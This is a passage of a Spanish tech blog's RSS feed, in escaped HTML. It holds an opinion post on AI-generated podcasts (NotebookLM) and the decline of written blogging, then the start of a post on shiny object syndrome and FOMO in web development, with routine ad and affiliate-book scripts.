id=&#34;notebooklm-y-los-demas-modelos-reemplazaran-a-los-podcasts&#34;&gt;¿Notebooklm y los demás modelos reemplazarán a los podcasts?&lt;/h2&gt;&#xA;&lt;p&gt;La pregunta inevitable (y sus variantes) siempre que hay un avance significativo en el campo de las inteligencias artificiales: &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/devin-ai-el-supuesto-reemplazo-de-los-programadores/&#34;&gt;¿Devin AI va a reemplazar a los desarrolladores?&lt;/a&gt;&#xA; o ¿es solo un sintoma más de la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/el-auge-y-la-caida-de-la-burbuja-de-ai/&#34;&gt;burbuja de AI que estamos presenciando?&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;No creo que sea tan simple, lo interesante de este asunto es tratar de encajarlo en este colosal rompecabezas de modelos de AI que se alza frente a nosotros ahora mismo.&lt;/p&gt;&#xA;&lt;p&gt;Imagínate, eleven labs puede convertir texto a diferentes voces, Notebooklm es capaz de transformar notas en un podcasts, Lumalabs o Pika pueden transformar imágenes en video. ¿Ya lo visualizas? Un podcast completo, con voces y rostros personalizables, en video, difícilmente distinguible de un podcast &amp;ldquo;real&amp;rdquo;.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;nos-espera-un-futuro-de-podcast-ai-comoditizados&#34;&gt;Nos espera un futuro de podcast AI comoditizados&lt;/h2&gt;&#xA;&lt;p&gt;En un mundo en el que puedes crear podcasts monetizables en cuestión de minutos, este tipo de contenido se volverá abundante en poco tiempo, igual que está pasando ahora mismo con todos esos canales que solo le ponen voces a los posts en reddit, o aquellos que usan imágenes y voces de AI para animar cuentos folclóricos.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://i.imgflip.com/95scrd.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://i.imgflip.com/95scrd.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;I can foresee this in the next year&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;I can foresee this in the next year&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Poder entrenar un modelo con material de podcasts pasados o con escritos, para emular fielmente el estilo podrá ahorrarle horas de trabajo a los creadores de contenido, imagínate, generas el podcast completo con AI y luego solo lo editas para reemplazar aquellas partes que te parezcan sosas y ¡voilá! tienes un podcast que se siente humano en segundos.&lt;/p&gt;&#xA;&lt;p&gt;O puedes llevarlo más allá y crear escenarios bastante interesantes como este donde los &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.reddit.com/r/artificial/comments/1frk1gi/notebooklm_podcast_hosts_discover_theyre_ai_not/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;locutores del podcast AI descubren su propia naturaleza no humana&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;posible-reaccion-no-tan-positiva-del-mercado-a-los-podcasts-de-ai&#34;&gt;Posible reacción no tan positiva del mercado a los podcasts de AI&lt;/h3&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Ahora, esto también puede cambiar el mercado de los podcasts para siempre, la gente adora conectar con otros seres humanos, y no todos se sentirán cómodos sabiendo que pasarán 2 horas escuchando un podcast que probablemente regurgitó una AI, quizá algunos dediquen un par de minutos más a buscar una versión humana.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/google-notebooklm-will-reshape-the-podcast-scenario-forever/images/AI-impact-on-society.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/google-notebooklm-will-reshape-the-podcast-scenario-forever/images/AI-impact-on-society.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;No todas las personas piensan en la inteligencia artificial de manera positiva&#34; width=&#34;630&#34; height=&#34;625&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;No todas las personas piensan en la inteligencia artificial de manera positiva&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Así que no, no van a desaparecer los podcasters, especialmente los grandes, pero subirá el listón, ahora un podcast mediocre, monótono, promedio que sea indistinguible de uno generado por IA será tratado como tal.&lt;/p&gt;&#xA;&lt;p&gt;Por otro lado, el escepticismo hará que muchas personas prefieran contenidos más difíciles de imitar por una AI (al menos por ahora), como los videos, o los live, sepultando en el olvido al contenido escrito.&lt;/p&gt;&#xA;&lt;h2 id=&#34;notebooklm-y-la-posible-muerte-del-contenido-escrito-y-el-blogging-si-otra-vez&#34;&gt;Notebooklm y la posible muerte del contenido escrito y el blogging (Sí, otra vez)&lt;/h2&gt;&#xA;&lt;p&gt;No es ningún secreto que los videos se convirtieron en la opción más popular para consumir contenido en estos últimos años.&lt;/p&gt;&#xA;&lt;p&gt;Desconozco si es una jugarreta de mi imaginación pero siento que las personas cada vez leen menos. El formato de audiovisual, si bien es más superficial, permite conectar emocionalmente de una mejor manera con los consumidores, probablemente debido a nuestra naturaleza social y colectiva que se seleccionó naturalmente mucho antes de la aparición de la escritura.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/google-notebooklm-will-reshape-the-podcast-scenario-forever/images/what-it-feels-to-listen-to-a-podcast.jpeg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/google-notebooklm-will-reshape-the-podcast-scenario-forever/images/what-it-feels-to-listen-to-a-podcast.jpeg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;¿Qué se siente escuchar un podcast?&#34; width=&#34;700&#34; height=&#34;942&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;¿Qué se siente escuchar un podcast?&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Ahora que un podcast es tan fácil de generar a partir de texto escrito, ¿quién va a preferir sumergirse en un mar de letras en lugar de ceder al tentador llamado de una voz humana?&lt;/p&gt;&#xA;&lt;p&gt;¿No se siente acaso ahora el blogging como el boceto o el guión de lo que debería ser un contenido audiovisual, como si fuera un producto sin terminar? La verdad es que me aterra pensar en la respuesta, me parece que estamos a las puertas de una distopia Orwelliana, pero yo soy incapaz revertir la tendencia y no puedo más que observar impotente.&lt;/p&gt;&#xA;&lt;p&gt;Tendré que hacer más videos.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1727849039/kgr8at3ytm29xohusw5x.avif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1727849039/kgr8at3ytm29xohusw5x.avif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;En Wall-e también dominaba el contenido audiovisual en lugar del texto&#34; width=&#34;1560&#34; height=&#34;1040&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;En Wall-e también dominaba el contenido audiovisual en lugar del texto&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Acabo de probar Google Notebooklm, y esta sensación de novedad y emoción se apodera de mi mente; como cuando un niño recibe lo que pidió de navidad, con la diferencía de que yo no pedí que esta herramienta existiera, pero aquí está de cualquier forma.&lt;/p&gt;&#xA;&lt;h2 id=&#34;notebooklm-te-deja-crear-un-podcast-a-partir-de-tus-notas&#34;&gt;Notebooklm te deja crear un podcast a partir de tus notas&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Olvídate de Clean Code y lee este libro en su lugar. ¿Por qué? escribir buen software es difícil porque la definición de buen software es muy variable, este libro trata esa cuestión en profundidad. A lo largo del libro aprenderás sobre la complejidad y su flujo, abstracciones, paradigmas de ocultamiento información y la meta filosofía de la programación. En mi opinión, A philosophy of Software Design va más allá de lo que Clean Code puede ofrecer, lo siento tío Bob.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro A philosophy of software design\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/a-philosophy-of-software-design.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4i8kodH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de A philosophy of software design y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo diseñar software de calidad y mantanible?\&#34;},{\&#34;description\&#34;:\&#34;Mi recomendación es este pequeño libro de cien páginas sobre Machine Learning, trata de las bases del Machine Learning y todas las matemáticas necesarias para entender cómo se entrenan los modelos de IA. No te dejes engañar por su tamaño, es denso y un poco complicado. ¿Y por qué tan corto? El libro es tan corto porque deja de lado todo el relleno y se queda sólo con las partes cruciales del Machine Learning. Una advertencia, contiene muchas ecuaciones y no tiene exactamente cien páginas, sino un poco más.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro de cien páginas sobre Machine Learning\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103780/hundred-page-machine-learning-book_ueonkh.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3D3oMvN\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de The Hundred-Page Machine Learning y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;En dónde aprender las bases de AI y Machine Learning\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Cuidado Con El Shiny Object Syndrome Y El FOMO En El Desarrollo Web</title>
      <link>https://coffeebytes.dev/es/opinion/cuidado-con-el-shiny-object-syndrome-y-el-fomo-en-el-desarrollo-web/</link>
      <pubDate>Sun, 08 Sep 2024 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/opinion/cuidado-con-el-shiny-object-syndrome-y-el-fomo-en-el-desarrollo-web/</guid>
      
      <category>opinion</category>
      
      <category>javascript</category>
      
      
      
      
      
      <content:encoded>&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Olvídate de Clean Code y lee este libro en su lugar. ¿Por qué? escribir buen software es difícil porque la definición de buen software es muy variable, este libro trata esa cuestión en profundidad. A lo largo del libro aprenderás sobre la complejidad y su flujo, abstracciones, paradigmas de ocultamiento información y la meta filosofía de la programación. En mi opinión, A philosophy of Software Design va más allá de lo que Clean Code puede ofrecer, lo siento tío Bob.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro A philosophy of software design\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/a-philosophy-of-software-design.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4i8kodH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de A philosophy of software design y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Cómo diseñar software de calidad y mantanible?\&#34;},{\&#34;description\&#34;:\&#34;Este es EL LIBRO cuando se trata de Javascript. Es una guía completa que cubre todo lo que necesitas saber, desde la declaración de variables, al funcionamiento interno de las promesas e incluso te explica como crear un compilador en Javascript (No tan eficiente como uno compilado, pero ideal para aprender), si vas a leer solo un libro de Javascript, que sea este.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Eloquent Javascript\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/eloquent-javascript.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3QvqSYt\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Eloquent Javascript y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde mejorar sus conocimientos de Javascript?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Con todos los rápidos cambios que ocurren en el desarrollo web: frameworks, lenguajes, herramientas, librerías, etc. Es inevitable sufrir un poco de Shiny Object Syndrome y algo de FOMO. Pero es conveniente identificar estos impulsos y su naturaleza para evitar sufrir las consecuencias de ignorarlos.&lt;/p&gt;&#xA;&lt;h2 id=&#34;shiny-object-syndrome-en-el-desarrollo-web&#34;&gt;Shiny Object Syndrome en el desarrollo web&lt;/h2&gt;&#xA;&lt;p&gt;El Shiny Object Syndrome (síndrome del objeto brillante, SOS de ahora en adelante) es la tendencia de ser distraido por una idea o tendencia nueva. En el marco del desarrollo web esta idea o tendencia puede ser cualquier cosa: un nuevo framework, un nuevo lenguaje, un editor nuevo, etc. Déjame te lo explico con un ejemplo.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/be-careful-of-shiny-object-syndrome-and-fomo-in-web-development/images/shiny-object-syndrome.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/be-careful-of-shiny-object-syndrome-and-fomo-in-web-development/images/shiny-object-syndrome.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Shiny object syndrome en Javascript&#34; width=&#34;750&#34; height=&#34;500&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Uy, un nuevo framework de Javascript, tengo que probarlo&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Imagina que quieres crear una nueva aplicación, pero escuchaste que salió un &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/opinion/no-te-obsesiones-con-el-rendimiento-de-tu-aplicacion-web/&#34;&gt;nuevo framework de Javascript con un rendimiento excepcional&lt;/a&gt;&#xA; que promete facilitarte las cosas, por lo que decides aprender este nuevo &lt;del&gt;blazingly fast&lt;/del&gt; framework para implementar tu nueva idea, posteriormente descubres que salió otro framework aún mejor, por lo que, a pesar de que ya llevabas la mitad del proyecto, decides refactorizar tu aplicación usando este nuevo framework y retardas nuevamente el desarrollo de tu app.&lt;/p&gt;&#xA;&lt;p&gt;Pudiste haber implementando tu nueva idea usando el framework que ya conocías, y terminar antes, pero decidiste perder tu tiempo, atención y recursos con cada nuevo &amp;ldquo;objeto brillante&amp;rdquo; que aparece.&lt;/p&gt;&#xA;&lt;p&gt;¿Te ha pasado o solo a mi?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;fomo-o-fear-of-missing-out-en-el-desarrollo-web&#34;&gt;FOMO o Fear of Missing Out en el desarrollo web&lt;/h2&gt;&#xA;&lt;p&gt;El FOMO es una ensimismamiento generalizado de que otros podrían experimentar vivencias agradables de las cuales estariamos ausentes. En el marco del desarrollo web esta vivencia agradable también podría ser la popularización de un nuevo lenguaje de programación, o un nuevo tipo de API que parece facilitar las cosas, o un nuevo framework de Javascript (sale uno nuevo cada semana).&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/opinion/be-careful-of-shiny-object-syndrome-and-fomo-in-web-development/images/rewrite-everything-in-rust-meme.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/opinion/be-careful-of-shiny-object-syndrome-and-fomo-in-web-development/images/rewrite-everything-in-rust-meme.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Rust is the most loved language&#34; width=&#34;500&#34; height=&#34;700&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Todos están aprendiendo Rust, yo también debería aprenderlo&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Por ejemplo, imagínate que un nerd crea un nuevo lenguaje de programación, que promete ser más rápido, más seguro y es adoptado rápidamente por la comunidad. Los sentimientos de ansiedad empiezan a invadirte, &amp;ldquo;¿y si todos empiezan a usar ese nuevo lenguaje?&amp;rdquo;, &amp;ldquo;¿y si estoy perdiendo el tiempo usando los lenguajes que ya domino y todos se dieron que cuenta que el nuevo lenguaje es el futuro?&amp;rdquo;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;¿Se te viene a la mente algún lenguaje o tecnología en 